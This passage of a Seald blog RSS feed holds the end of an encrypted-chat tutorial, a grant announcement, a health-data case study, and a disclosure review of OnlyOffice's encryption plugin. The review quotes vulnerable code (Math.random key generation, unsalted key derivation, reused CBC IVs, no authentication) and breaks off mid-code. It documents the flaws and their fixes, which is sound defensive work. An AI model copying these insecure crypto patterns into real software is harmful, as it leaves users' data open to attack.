  );</code></pre><p><br>If we send another message now, you can see that the message text is now encrypted and unreadable.</p><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2023/08/image-17.png" class="kg-image" alt loading="lazy" width="450" height="974"></figure><p><br>We need to override the <code>MessageText</code> component to show an unencrypted message.</p><pre><code class="language-tsx">return (
    &lt;Chat
      client={client}
    &gt;
        &lt;Channel
          channel={channel}
          doSendMessageRequest={sendMessage}
          MessageText={(props: MessageTextProps) =&gt; (
            &lt;DecryptedMessageText
              {...props}
              channel={channel}
              session={encryptionSession}
              onError={handleDecryptionError}
              onFinished={handleDecryptionEnd}
            /&gt;
          )}
        /&gt;
    &lt;/Chat&gt;
  );</code></pre><p><br>Our <code>DecryptedMessageText</code> component will use our encryption session to decrypt the message.</p><pre><code class="language-tsx">import { useEffect, useRef, useState } from 'react';
import { useTranslation } from 'react-i18next';
import type { EncryptionSession } from '@seald-io/sdk/lib/main';
import type { MessageTextProps, MessageType as Message } from 'stream-chat-react-native';

import type { LocalChannel } from 'core/chat/types';

interface Props extends MessageTextProps {
  channel: LocalChannel;
  session: EncryptionSession;
}

const decryptMessage = async (text: string, session: EncryptionSession) =&gt; {
  try {
    // If we have  JSON, it can be decrypted.
    JSON.parse(text);
    try {
      if (!session) {
        throw new Error('EncryptionSession is undefined');
      }
      return await session.decryptMessage(text);
    } catch (err) {
      logException(err);
      return false;
    }
  } catch (err) {
    // Otherwise it's just plain text
    return text;
  }
};

const DecryptedMessageText = ({
  channel,
  session,
  message,
  renderText,
  theme,
  ...rest
}: Props) =&gt; {
  const { t } = useTranslation();
  const decryptedMessage = useRef&lt;Message&gt;(message);

  useEffect(() =&gt; {
    const decrypt = async () =&gt; {
      if (message.text) {
        const text = await decryptMessage(message.text, session);
        if (text === false) {
          // Handle errors
          return;
        }

        decryptedMessage.current = {
          ...message,
          text,
        };
      }
    };

    decrypt();
    // eslint-disable-next-line react-hooks/exhaustive-deps
  }, [message, session]);

  return renderText({
    ...rest,
    message: decryptedMessage.current,
  });
};

export default DecryptedMessageText;</code></pre><p><br><em>Our message is now <code>decrypted</code>, and again visible for the members of the conversation.</em></p><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2023/08/image-24.png" class="kg-image" alt loading="lazy" width="450" height="974"></figure><p><br>When we take a look at the GetStream.io dashboard, we can also see that our messages are not readable, and so are securely encrypted 💪<br></p><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2023/08/image-25.png" class="kg-image" alt loading="lazy" width="1247" height="1101" srcset="https://blog.seald.io/content/images/size/w600/2023/08/image-25.png 600w, https://blog.seald.io/content/images/size/w1000/2023/08/image-25.png 1000w, https://blog.seald.io/content/images/2023/08/image-25.png 1247w" sizes="(min-width: 720px) 720px"></figure><hr><h2 id="conclusion">Conclusion</h2><hr><figure class="kg-card kg-image-card"><img src="https://c.tenor.com/mYI35XJyfloAAAAC/micdrop-jonstewart.gif" class="kg-image" alt loading="lazy"></figure><p>ps: you use PubNub instead of Stream? <a href="https://www.seald.io/blog/build-end-to-end-encrypted-chat-with-pubnub-and-seald?ref=blog.seald.io">Here's an article that explain how to integrate E2EE in PubNub.</a></p>]]></content:encoded>
            <enclosure url="https://blog.seald.io/content/images/2023/08/StreamxSeald.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[France 2030: Seald is a laureate alongside Wimi 🏆]]></title>
            <link>https://www.seald.io/blog/france-2030-seald-is-a-laureate-alongside-wimi</link>
            <guid>https://www.seald.io/blog/france-2030-seald-is-a-laureate-alongside-wimi</guid>
            <pubDate>Wed, 26 Apr 2023 08:58:18 GMT</pubDate>
            <description><![CDATA[On April 6, 2023, Bruno Le Maire (Minister of Economy, Finance and Industrial and Digital Sovereignty) and Jean-Noël Barrot (Minister Delegate in charge of Digital Transition and Telecommunications) announced the winners of the call for projects "Development of cloud office suites for collaborative work", in the framework of France 2030.

As you understood, Seald is part of it 🔥

It is alongside Wimi (but not only 😎), that we will take up this challenge.

The project has a simple goal: to make]]></description>
            <content:encoded><![CDATA[<p>On April 6, 2023, Bruno Le Maire (Minister of Economy, Finance and Industrial and Digital Sovereignty) and Jean-Noël Barrot (Minister Delegate in charge of Digital Transition and Telecommunications) <a href="https://presse.economie.gouv.fr/06042023-cp-france-2030-vers-un-renforcement-de-loffre-cloud-de-confiance/?ref=blog.seald.io" rel="noreferrer">announced the winners</a> of the call for projects "<a href="https://www.bpifrance.fr/nos-appels-a-projets-concours/appel-a-projets-developpement-de-suites-bureautiques-cloud-de-travail-collaboratif?ref=blog.seald.io">Development of cloud office suites for collaborative work</a>", in the framework of France 2030.</p><p>As you understood, <strong>Seald</strong> is part of it 🔥</p><p>It is alongside <strong>Wimi</strong> (but not only 😎), that we will take up this challenge.</p><p>The project has a simple goal: <strong>to make Wimi a sovereign and secure alternative to Microsoft O365 and Google Workspace</strong>, no less. A solution for any public or private organization that is sensitive to the protection of its business data.</p><p>The consortium of companies that <strong>Wimi</strong> has gathered around the project is composed of :</p><ul><li><strong>Seald</strong> specialized in data privacy, with an end-to-end encryption technology</li><li><strong>XWiki</strong> specialized in collaborative work software (which publishes the well-known <a href="https://cryptpad.fr/?ref=blog.seald.io">CryptPad</a>)</li><li><strong>Watoo</strong> specialized in digital tattooing</li><li><strong>Linagora</strong> specialized in free software<br></li></ul><blockquote>A little anecdote from our visit to the jury last year.<br><br>When we were presenting Seald and our end-to-end encryption technology, we were asked with a lot of skepticism if "the Wimi server had hot or cold access to the plaintext data or to the keys allowing to decrypt the data?<br><br>I really appreciated the precision of the question (that's what I call a bullshitometer) and the answer was equally precise: "no, the data is encrypted and decrypted on the client side, with hot and cold inaccessible keys from Wimi servers".</blockquote><p>Wimi's promise is already almost a reality. They are currently undergoing <a href="https://www.ssi.gouv.fr/administration/qualifications/prestataires-de-services-de-confiance-qualifies/prestataires-de-service-dinformatique-en-nuage-secnumcloud/?ref=blog.seald.io">SecNumCloud qualification</a> and offer the following features:</p><ul><li>Collaborative document editing</li><li>Video conferencing</li><li>Team messaging</li><li>Calendar</li><li>Document drive (web &amp; desktop)</li></ul><p>And a few more new features coming in the next few months 😉</p><p>The biggest challenge is still ahead of us: back to work 💪</p><p>Stay tuned.</p>]]></content:encoded>
            <enclosure url="https://blog.seald.io/content/images/2023/04/Sans-titre---1-2.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[How Recare protects the health data of 300 000 patients? 🏥]]></title>
            <link>https://www.seald.io/blog/how-recare-protect-the-medical-data-of-300-000-patients</link>
            <guid>https://www.seald.io/blog/how-recare-protect-the-medical-data-of-300-000-patients</guid>
            <pubDate>Wed, 22 Mar 2023 13:12:13 GMT</pubDate>
            <description><![CDATA[Created in 2016, Recare is a solution that coordinates patient transfer requests between hospitals and healthcare facilities. Example: between emergency rooms and MSO (Medicine, Surgery and Obstetrics) facilities.

Present in France 🇫🇷 and in Germany 🇩🇪, the Recare solution:

 * Reduces the Average Length Of Stay (ALOS) in the facilities
 * Saves time for medical and administrative teams
 * Centralizes all transfer requests on a single platform


The Recare problem


For Charles Cote - CTO @]]></description>
            <content:encoded><![CDATA[<p>Created in 2016, <a href="https://recaresolutions.com/?ref=blog.seald.io"><strong>Recare</strong></a> is a solution that coordinates patient transfer requests between hospitals and healthcare facilities. Example: between emergency rooms and MSO (Medicine, Surgery and Obstetrics) facilities.</p><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2023/03/Pub-Recare00.png" class="kg-image" alt loading="lazy" width="1246" height="151" srcset="https://blog.seald.io/content/images/size/w600/2023/03/Pub-Recare00.png 600w, https://blog.seald.io/content/images/size/w1000/2023/03/Pub-Recare00.png 1000w, https://blog.seald.io/content/images/2023/03/Pub-Recare00.png 1246w" sizes="(min-width: 720px) 720px"></figure><p>Present in <strong>France 🇫🇷 and in Germany 🇩🇪</strong>, the Recare solution:</p><ul><li><strong>Reduces the Average Length Of Stay (ALOS)</strong> in the facilities</li><li><strong>Saves time</strong> for medical and administrative teams</li><li><strong>Centralizes all transfer requests</strong> on a single platform</li></ul><h2 id="the-recare-problem">The Recare problem</h2><p><br>For <strong>Charles Cote - CTO @Recare,</strong> the confidentiality of medical data is <strong>its main imperative.</strong> He wants to implement the highest level of confidentiality on the data.<br><br>Here are the different issues he wanted to address:</p><ul><li>Guarantee that only healthcare professionals <strong>can access data (not even Recare or its host).</strong></li><li><strong>Prevent data from being stolen</strong> even in the event of unauthorized access to Recare's servers.</li><li>Sleep well 😴</li></ul><p><strong>End-to-end encryption</strong> was chosen by Charles Cote to address Recare's issues. It is a technology that<strong> ensures that only authorized users will be able to access the data,</strong> and not hackers, administrators, institutions, hosts, <strong>or even Recare.</strong> In other words, it <strong>prevents data from being stolen</strong> even if there is unauthorized access to Recare's servers.<br><br>This technology is <strong>much stronger</strong> than encryption in transit combined with encryption at rest.</p><p><strong>Without End-to-End encryption:</strong></p><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2023/03/Pub-Recare123-13.png" class="kg-image" alt loading="lazy" width="1428" height="542" srcset="https://blog.seald.io/content/images/size/w600/2023/03/Pub-Recare123-13.png 600w, https://blog.seald.io/content/images/size/w1000/2023/03/Pub-Recare123-13.png 1000w, https://blog.seald.io/content/images/2023/03/Pub-Recare123-13.png 1428w" sizes="(min-width: 720px) 720px"></figure><p><strong>With End-to-End encryption:</strong></p><figure class="kg-card kg-image-card"><img src="https://blog.seald.io/content/images/2023/03/Pub-Recare123-14.png" class="kg-image" alt loading="lazy" width="1428" height="542" srcset="https://blog.seald.io/content/images/size/w600/2023/03/Pub-Recare123-14.png 600w, https://blog.seald.io/content/images/size/w1000/2023/03/Pub-Recare123-14.png 1000w, https://blog.seald.io/content/images/2023/03/Pub-Recare123-14.png 1428w" sizes="(min-width: 720px) 720px"></figure><h2 id="how-does-seald-help-recare-solve-its-problems">How does Seald help Recare solve its problems?</h2><p><br>In March 2021, Charles contacted Seald for support in integrating <strong>end-to-end encryption.</strong><br><br>At that time, <strong>Recare already had an end-to-end encryption implementation,</strong> developed in-house with open-source libraries, and <strong>implemented very early in the life of their product.</strong><br><br>After an audit revealed that <strong>the in-house implementation</strong> was not state-of-the-art, Charles turned to an external solution like <strong>Seald</strong> for several reasons:</p><ul><li>It relieves Recare of internal maintenance and auditing of a complex tool, <strong>allowing them to focus on their core business.</strong></li><li>It assures Recare that the encryption protocols used are <strong>state-of-the-art.</strong></li><li>It allows to demonstrate to its customers <strong>the physical inaccessibility of the data</strong> by Recare (which is always arguable when the solution is internal).</li></ul><p>Seald steps in by offering <strong>an end-to-end encryption SDK</strong> "as-a-service" for developers to help them<strong> protect their users' data with absolute confidence,</strong> without any <strong>need for cryptographic skills.</strong></p><h3 id="private-key-storage-%F0%9F%94%90">Private key storage 🔐</h3><p><br>In the original implementation of Seald in Recare, each user could <strong>retrieve one of their private keys:</strong></p><ul><li><strong><a href="https://docs.seald.io/en/sdk/example/localstorage.html?ref=blog.seald.io#managing-the-databasekey)">In the browser storage</a></strong> if the user authenticated to that browser.</li><li><strong><a href="https://docs.seald.io/en/sdk/guides/4-identities.html?ref=blog.seald.io#protection-with-2-man-rule">With a recovery mechanism</a></strong> where the user has to copy an OTP (one-time password) received by email.</li></ul><p>Logically, once authenticated in a browser, a user does not need to re-authenticate <strong>unless the browser cache is cleared.</strong><br><br>The problem Recare faced was that many of its customers have an IT policy of <strong>resetting browser caches every day...</strong> so some users had to be emailed an OTP every morning to use Recare: <strong>it was unusable as it was.</strong><br><br>To overcome this problem, Recare offers <strong>another silent recovery mechanism: <a href="https://docs.seald.io/en/sdk/guides/4-identities.html?ref=blog.seald.io#password-protection">the password.</a></strong> The password is used to encrypt a private key and this encrypted private key is saved remotely.<br><br>The recovery mechanism where the user has to copy an OTP (one-time password) received by email is then <strong>used only as a last resort,</strong> when the user has forgotten their password and <strong>wishes to reset it.</strong></p><h3 id="caching-of-symmetric-keys-%F0%9F%94%91">Caching of symmetric keys 🔑<br></h3><p>When Recare integrated Seald,<strong> symmetric key caching was not offered.</strong> This caused each decryption to trigger a network request, which in their case <strong>could slow down page loading.</strong><br><br>The reason why caching was not implemented at the time, and is <strong>still not enabled by default</strong> in the latest SDK versions, is that it prevents instant revocation of access to a key: <strong>the key will remain accessible</strong> to someone who is revoked for at most the TTL of the cache.<br><br>We have made 2 changes:</p><ul><li>In <strong>v0.14.0</strong>: implemented serialization and reinstantiation of symmetric keys to allow <strong><a href="https://docs.seald.io/en/sdk/seald-sdk/interfaces/EncryptionSession.html?ref=blog.seald.io#properties-2">manual cache creation</a></strong>.</li><li>In <strong>v0.16.0</strong>: implemented <strong><a href="https://docs.seald.io/en/sdk/guides/6-encryption-sessions.html?ref=blog.seald.io#caching-of-encryption-sessions">an optional cache</a>,</strong> by default in memory only, but customizable to allow a persistent cache implementation.</li></ul><h3 id="group-management-%F0%9F%91%AB">Group management 👫</h3><p><br>The integration of Seald into Recare <strong>is centered around <a href="https://docs.seald.io/en/sdk/guides/5-groups.html?ref=blog.seald.io#creating-a-group">the functionality of groups</a></strong>.<br><br><strong>Each care facility</strong> is represented by a Seald group, <strong>and every professional</strong> in a care facility is a <strong>member of that group.</strong><br><br>When a patient record is sent from one facility to another it<strong> is encrypted for both the sender group</strong> and the target group, and the sender group is declared as the "<a href="https://docs.seald.io/en/sdk/guides/5-groups.html?ref=blog.seald.io#adding-removing-group-members">managing group</a>" so that each member of the group can <strong>manage the rights to that key.</strong><br><br>There are also some cases where the group <strong>is not yet created</strong> at the time the file has to be encrypted (this can happen the first time a care facility receives a patient file).<br><br>In this case, strictly end-to-end encryption is technically not possible, but it can be approached: <strong>the record is encrypted</strong> for an UnregisteredUser, which <strong>stores the bare symmetric key on the Seald servers in escrow,</strong> and when the group is finally created, the Recare server assigns that UnregisteredUser to that newly created group, which triggers the Seald servers to encrypt the symmetric key for that group.<br><br><strong>In this scenario, Recare never has access to the key, and Seald never has access to the data.</strong></p><h2 id="benefits-of-seald-within-recare">Benefits of Seald within Recare<br></h2><p>With Seald, <strong>Recare goes beyond traditional data security practices.</strong> End-to-end encryption ensures that only authorized users will be able to access medical data, <strong>greatly reducing the impact of a potential data leak 🛡️.</strong><br><br>A malicious actor who managed to infiltrate Recare's servers <strong>would not be able to access the data.</strong> This is a robustness that a hosting provider certification (HDS, ISO 27001, HIPAA, etc.) for health data hosting <strong>does not offer.</strong><br><br>It is by ensuring this higher level of data confidentiality that they <strong>can gain and keep the trust</strong> of their customers in France and in Germany.<br><br>Finally, Seald allows Recare to guarantee to its users <strong>to always be at the forefront of security,</strong> and to follow the evolution of technologies in this field.<br><br>Seald is the only certified end-to-end encryption SDK <strong>in the world.</strong> The solution is <strong>certified by the ANSSI</strong> (the French cybersecurity agency). The technology has been <strong>audited by third-party experts,</strong> based on compliance analysis and <strong>advanced penetration testing</strong>, ensuring Recare has <strong>a robust security model.</strong></p><p>As always, <strong>feel free to <a href="https://www.seald.io/discover?ref=blog.seald.io">contact our team</a> for more information.</strong><br><br>See you soon 👋</p>]]></content:encoded>
            <enclosure url="https://blog.seald.io/content/images/2023/03/Pub-Recare32-04.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Cryptography review of the E2EE plugin for OnlyOffice Desktop]]></title>
            <link>https://www.seald.io/blog/cryptography-review-onlyoffice</link>
            <guid>https://www.seald.io/blog/cryptography-review-onlyoffice</guid>
            <pubDate>Thu, 07 Jul 2022 08:31:46 GMT</pubDate>
            <description><![CDATA[In April 2021, while researching how to develop an end-2-end encryption plugin for OnlyOffice web using the Seald E2EE SDK, we at Seald reviewed the source code of the plugin developed for OnlyOffice Desktop and found some weaknesses in the way the E2EE was implemented.]]></description>
            <content:encoded><![CDATA[<p><em>In April 2021, while researching how to develop an end-2-end encryption plugin for OnlyOffice web using the Seald E2EE SDK, we reviewed the source code of <a href="https://www.onlyoffice.com/blog/2020/10/onlyoffice-private-rooms-the-ultimate-security-of-document-collaboration/?ref=blog.seald.io">the plugin developed for OnlyOffice Desktop</a> and found some weaknesses in the way the E2EE was implemented.</em></p><p><strong>Disclaimer:</strong> This review was by no means a full code review nor a formal security audit. Some weaknesses may have not been found during this review, and the recommendations may not be perfect. </p><p><strong>Summary:</strong> We found multiple critical flaws in the E2EE implementation of the latest version at the time of the audit (in April 2021), which was 6.3.0:</p><ul><li>the PRNG was unsafe,</li><li>the password derivation was unsalted,</li><li>the symmetric encryption was unauthenticated and re-used IVs,</li><li>and there was a potential MITM if there's an active attack on the server.</li></ul><p><strong>Disclosure policy:</strong> the disclosure policy of the Google Project Zero (which is to us a reference in the field) is to disclose publicly after <a href="https://googleprojectzero.blogspot.com/2021/04/policy-and-disclosure-2021-edition.html?ref=blog.seald.io">a maximum of 120 days</a> after the initial report was made. In this case, the initial report was made 433 days ago, and therefore we decided to publish this report publicly.</p><h2 id="history">History</h2><ul><li>2021/04/23: We contacted multiple members of the development team at OnlyOffice to have further details regarding the <a href="https://www.onlyoffice.com/private-rooms.aspx?ref=blog.seald.io">Private Rooms</a> feature, which implements end-2-end encryption with a plugin.</li><li>2021/04/26: a marketing manager at OnlyOffice sent me the GitHub link to the source code of the E2EE plugin.</li><li>2021/04/27:  we contacted this person back via email to warn him we wanted to send this report. This person forwarded this request to the developer in charge of the development of the E2EE plugin. This developer asked the internal security team to give us instructions on how to send the report.</li><li>2021/04/30: we sent the report via a secure channel established with the security team of OnlyOffice <a href="https://www.onlyoffice.com/.well-known/security.txt?ref=blog.seald.io">with the contact information provided here</a>.</li><li>2021/05/03: we received confirmation that the report had been received and fixes were prioritized</li><li>2021/06/23: we received confirmation that in v6.3.1 the RNG was changed to a more secure RNG, and that AES-CBC was changed to AES-GCM. We haven't reviewed their modifications, and they assured us that the other issues would be addressed in a further release of the DocumentServer, which we haven't checked.</li><li>2022/07/07: Since the disclosure deadline of the Google Project Zero <a href="https://googleprojectzero.blogspot.com/2021/04/policy-and-disclosure-2021-edition.html?ref=blog.seald.io">is of a maximum of 120 days</a>, and it has been more than a year since we made the initial report, it seems reasonable to publish this report publicly today.</li></ul><h2 id="findings">Findings</h2><p>The findings are sorted by type of operation rather than criticity.</p><p>They all relate to v6.3.0 which was the latest when writing this report (in April 2021).</p><h3 id="symmetric-encryption">Symmetric encryption</h3><h4 id="pseudo-random-number-generator">Pseudo-random number generator</h4><p>The code OnlyOffice used to, <em>in fine,</em> generate a password is <a href="https://github.com/ONLYOFFICE/desktop-sdk/blob/f261ef62248bb01f5f17ee25e655221a1e6883b2/ChromiumBasedEditors/plugins/encrypt/advanced2/worker.js?ref=blog.seald.io#L69">the following</a>:</p><pre><code class="language-javascript">window.AscCrypto.CryptoWorker.createPasswordNew = function() {
  function s4() {
    return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1);
  }
  return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4();
}
</code></pre><p>This uses as a source of random the function <code>Math.random()</code> which is not cryptographically secure.</p><p>There have been exploits in the past of weaknesses with this function as exposed <a href="https://medium.com/@betable/tifu-by-using-math-random-f1c308c4fd9d?ref=blog.seald.io">here</a>, the version of V8 used is more resilient to this kind of exploits, but this is still not cryptographically secure as explained on the V8 blog: <a href="https://v8.dev/blog/math-random?ref=blog.seald.io">https://v8.dev/blog/math-random</a> as it uses <code>xorshift128+</code>.</p><p>This issue is <strong>CRITICAL</strong> as it could lead an attacker to guessing what encryption keys are used.</p><p>We had recommended to either:</p><ul><li>using <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Crypto_API?ref=blog.seald.io">webcrypto APIs</a> if Chromium Embedded Framework allows to do so, or;</li><li>using <code>node-forge</code> which has a JS fallback for generating a safer random, or;</li><li>using Cpp bindings to OpenSSL secure PRNG just like it is done for the rest of the primitives.</li></ul><h4 id="password-derivation">Password derivation</h4><p>When initializing the AES "session", OnlyOffice called <code>CryptoAES_Init</code> with one argument <a href="https://github.com/ONLYOFFICE/desktop-sdk/blob/f261ef62248bb01f5f17ee25e655221a1e6883b2/ChromiumBasedEditors/plugins/encrypt/advanced2/worker.js?ref=blog.seald.io#L102"><code>password</code> from <code>worker.js</code></a>, this is defined <a href="https://github.com/ONLYOFFICE/desktop-sdk/blob/f261ef62248bb01f5f17ee25e655221a1e6883b2/ChromiumBasedEditors/lib/src/cefwrapper/client_renderer_wrapper.cpp?ref=blog.seald.io#L2888">here</a>:</p><pre><code class="language-cpp">else if (name == "CryptoAES_Init")
{
    std::string sPassword = arguments[0]-&gt;GetStringValue().ToString();
    std::string sSalt = "";
    if (arguments.size() &gt; 1)
        sSalt = arguments[0]-&gt;GetStringValue().ToString();
    if (NULL != m_pAES_KeyIv)
        NSOpenSSL::openssl_free(m_pAES_KeyIv);
    m_pAES_KeyIv = NSOpenSSL::PBKDF2_desktop(sPassword, sSalt);
    return true;
}
</code></pre><p>This function has two issues:</p><ul><li>the first one is that the <code>sSalt</code> is never given (as is it always called with one argument only);</li><li>the second one is that if it were called with a second argument, it wouldn't be used: <code>sSalt</code> is initialized with <code>arguments[0]</code> instead of <code>arguments[1]</code>, so <code>PBKDF2_desktop</code> would be called with <code>sPassword</code> as both the <code>sPassword</code> and the <code>sSalt</code>.</li></ul><p><code>PBKDF2_desktop</code> is defined <a href="https://github.com/ONLYOFFICE/core/blob/6f8c741d5e73cb657b73060fff691438003d09b2/Common/3dParty/openssl/common/common_openssl.cpp?ref=blog.seald.io#L320">here</a>:</p><pre><code class="language-cpp">unsigned char* PBKDF2_desktop(const std::string&amp; pass, const std::string&amp; salt)
{
    unsigned char* key_iv = NULL;
    if (salt.empty())
    {
        unsigned int pass_salt_len = 0;
        unsigned char* pass_salt = NSOpenSSL::GetHash((unsigned char*)pass.c_str(), (unsigned int)pass.length(), OPENSSL_HASH_ALG_SHA512, pass_salt_len);
        key_iv = PBKDF2(pass.c_str(), (int)pass.length(), pass_salt, pass_salt_len, OPENSSL_HASH_ALG_SHA256, 32 + 16);
        openssl_free(pass_salt);
    }
    else
    {
        key_iv = PBKDF2(pass.c_str(), (int)pass.length(), (const unsigned char*)salt.c_str(), (unsigned int)salt.length(), OPENSSL_HASH_ALG_SHA256, 32 + 16);
    }
    return key_iv;
}
</code></pre><p>Because the <code>salt</code> is empty in this codepath, OnlyOffice derives the <code>salt</code> out of the password itself using a <code>SHA512</code>.</p><p>This leads to having always the same key for a given password, which is in itself a bad practice.</p><p>This issue is <strong>MINOR</strong>, as this would only be problematic if it were an actual "password" which could be re-used elsewhere.</p><p>We had recommended generating a random salt and storing it in the document info (where the encrypted symmetric keys are stored), and retrieving it using the <code>readPassword</code> which already parses the <code>docInfo</code>.</p><h4 id="encryption-decryption">Encryption / decryption</h4><p>The encryption was done via <code>worker.js</code> that <a href="https://github.com/ONLYOFFICE/desktop-sdk/blob/f261ef62248bb01f5f17ee25e655221a1e6883b2/ChromiumBasedEditors/plugins/encrypt/advanced2/worker.js?ref=blog.seald.io#L104">calls <code>CryptoAES_Encrypt</code></a>, which <a href="https://github.com/ONLYOFFICE/desktop-sdk/blob/f261ef62248bb01f5f17ee25e655221a1e6883b2/ChromiumBasedEditors/lib/src/cefwrapper/client_renderer_wrapper.cpp?ref=blog.seald.io#L2906">calls Cpp code</a> which calls <code>AES_Encrypt_desktop</code> defined <a href="https://github.com/ONLYOFFICE/core/blob/6f8c741d5e73cb657b73060fff691438003d09b2/Common/3dParty/openssl/common/common_openssl.cpp?ref=blog.seald.io#L413">elsewhere</a>:</p><pre><code class="language-cpp">bool AES_Encrypt_desktop(const unsigned char* key_iv, const std::string&amp; input, std::string&amp; output)
{
    unsigned char* data_crypt = NULL;
    unsigned int data_crypt_len = 0;
    bool bRes = AES_Encrypt(OPENSSL_AES_256_CBC, key_iv, key_iv + 32, (unsigned char*)input.c_str(), (unsigned int)input.length(), data_crypt, data_crypt_len);
    if (!bRes)
        return false;
    output = Serialize(data_crypt, data_crypt_len, OPENSSL_SERIALIZE_TYPE_BASE64);
    openssl_free(data_crypt);
    return true;
}
</code></pre><p>This has two major issues :</p><p><strong>1/ The IV is reused across encryption operations:</strong></p><p>The IV comes from the derivation of the password (with the PBKDF2 described in the above paragraph), which always gives the same IV for a given password.</p><p>This issue is <strong>CRITICAL</strong> as the CBC mode is used, which leaks some information when re-using the IV with the same key on similar clearTexts.</p><p>We had recommended generating a random 16 bytes IV for each encryption operation, and prepending the cipherText with the IV, instead of deriving the IV from the password.</p><p><strong>2/ No authentication of the encryption:</strong></p><p>AES-CBC is not an authenticated symmetric encryption scheme (like ChaCha20 or AES-GCM are) which means an attacker could inject in the cipherText malicious blocks of encrypted data, which would be decrypted upon decryption without any warning. This has led (along with other vulnerabilities) to <a href="https://efail.de/?ref=blog.seald.io">efail.de</a> attacks, which manage to exfiltrate encrypted data by injecting CBC gadgets that are in turn decrypted into a payload that exploits XSS vulnerabilities in the client that renders the decrypted data. This seems far-fetched, but there have been exploits in the wild of this.</p><p>This issue is <strong>CRITICAL</strong>, as an attacker could alter an encrypted document in such a way that when a user decrypts it, the attacker would be able to inject a payload at the beginning of the document, which could be the basis of a multi-staged exploit.<br>We had recommended doing either:</p><ul><li>switch to another algorithm such as ChaCha20 or AES-GCM, or;</li><li>implement a MAC (such as HMAC-SHA256) on the {IV + cipherText}, calculate this MAC with another key, append the result after the cipherText, and check the MAC upon decryption. If the MAC verification fails, it means the cipherText has been corrupted, possibly by an attacker. To generate the other key, we would recommend deriving a 64 bytes instead of a 32 bytes key (assuming the IV is no longer derived from the password), using the first 32 bytes as the AES key, and the last 32 bytes as the MAC key.</li></ul><p>The underlying function that actually executes the AES encryption <a href="https://github.com/ONLYOFFICE/core/blob/6f8c741d5e73cb657b73060fff691438003d09b2/Common/3dParty/openssl/common/common_openssl.cpp?ref=blog.seald.io#L366"><code>AES_Encrypt</code></a> is odd:</p><pre><code class="language-cpp">    bool AES_Encrypt(int type, const unsigned char* key, const unsigned char* iv, const unsigned char* data, const unsigned int&amp; size, unsigned char*&amp; data_crypt, unsigned int&amp; data_crypt_len)
    {
        EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new();
        EVP_CIPHER_CTX_init(ctx);
        EVP_EncryptInit_ex(ctx, _get_cipher_aes(type), NULL, key, iv);
        EVP_CIPHER_CTX_ctrl(ctx, EVP_CTRL_GCM_SET_IVLEN, 16, NULL);
        int out_len1 = (int)size + AES_BLOCK_SIZE;
        int out_len2 = 0;
        data_crypt = openssl_alloc(out_len1);
        EVP_EncryptUpdate(ctx, data_crypt, &amp;out_len1, data, (int)size);
        EVP_EncryptFinal_ex(ctx, data_crypt + out_len1, &amp;out_len2);
        data_crypt_len = out_len1 + out_len2;
        EVP_CIPHER_CTX_free(ctx);
        EVP_cleanup();
        return true;
    }
</code></pre><p>It instantiates a Cipher context with AES-CBC and then uses a function to set the IV length with a constant specific to another mode of encryption <code>EVP_CTRL_GCM_SET_IVLEN</code> (specific to AES-GCM), we really don't know what is the effect of this function call, and that's never a good thing when doing cryptography.</p><p>This issue is <strong>needs more investigation,</strong> as we are unable to determine the potential side effects of such a function call.</p><h3 id="asymmetric-encryption">Asymmetric encryption</h3><h4 id="key-generation">Key generation</h4><p>OnlyOffice uses <code><a href="https://github.com/ONLYOFFICE/core/blob/6f8c741d5e73cb657b73060fff691438003d09b2/Common/3dParty/openssl/common/common_openssl.cpp?ref=blog.seald.io#L112">RSA_generate_multi_prime_key</a></code> with a <code>primes</code> argument at <code>2</code> which is the default behavior of <code>RSA_generate_key_ex</code>.</p><p>This is not an issue, just an oddity.</p><h4 id="encryption-decryption-1">Encryption / Decryption</h4><p>If the <code>USE_DEPRECATED</code> code path is used, it uses RSA_NO_PADDING which would be a <strong>CRITICAL</strong> issue, but it has apparently already been spotted.</p><p>The other code path that uses RSA_PKCS1_OAEP_PADDING is ok (even though Victor Shoup proposed OAEP+ that is even more "optimal" in 2001, it has never been implemented because the attacks against OAEP are only theoretical at this point).</p><h4 id="private-key-protection">Private key protection</h4><p>The private key seems to be protected using the same symmetric encryption as above, which has the same flaws (which are <strong>CRITICAL</strong>), using a password <code>m_sPassword</code> which comes from tmpInfo (we found this <a href="https://github.com/ONLYOFFICE/desktop-sdk/blob/f261ef62248bb01f5f17ee25e655221a1e6883b2/ChromiumBasedEditors/lib/src/cefwrapper/client_renderer_wrapper.cpp?ref=blog.seald.io#L1508">here</a>).</p><p>On this topic, we are not familiar with the mechanism used to pass the password to this context (using tmpInfo), we are unsure this is correctly handled.</p><h4 id="public-key-retrieval">Public key retrieval</h4><p>The public keys come from a <a href="https://github.com/ONLYOFFICE/desktop-sdk/blob/f261ef62248bb01f5f17ee25e655221a1e6883b2/ChromiumBasedEditors/plugins/encrypt/advanced2/worker.js?ref=blog.seald.io#L87"><code>'getsharingkeys'</code> command on the <code>cloudCryptoCommandMainFrame</code></a> which in turn seem to trigger <code>getEncryptionAccess</code> <a href="https://github.com/ONLYOFFICE/AppServer/blob/741c3a17abeac296ee1343cad3fa49d17526ca2c/packages/asc-web-common/desktop/index.js?ref=blog.seald.io#L70">here</a>, which in turn seems to request to the server the keys of the privacyRoom:</p><pre><code class="language-javascript">  return request({
    method: "get",
    url: `privacyroom/access/${fileId}`,
    data: fileId,
  });
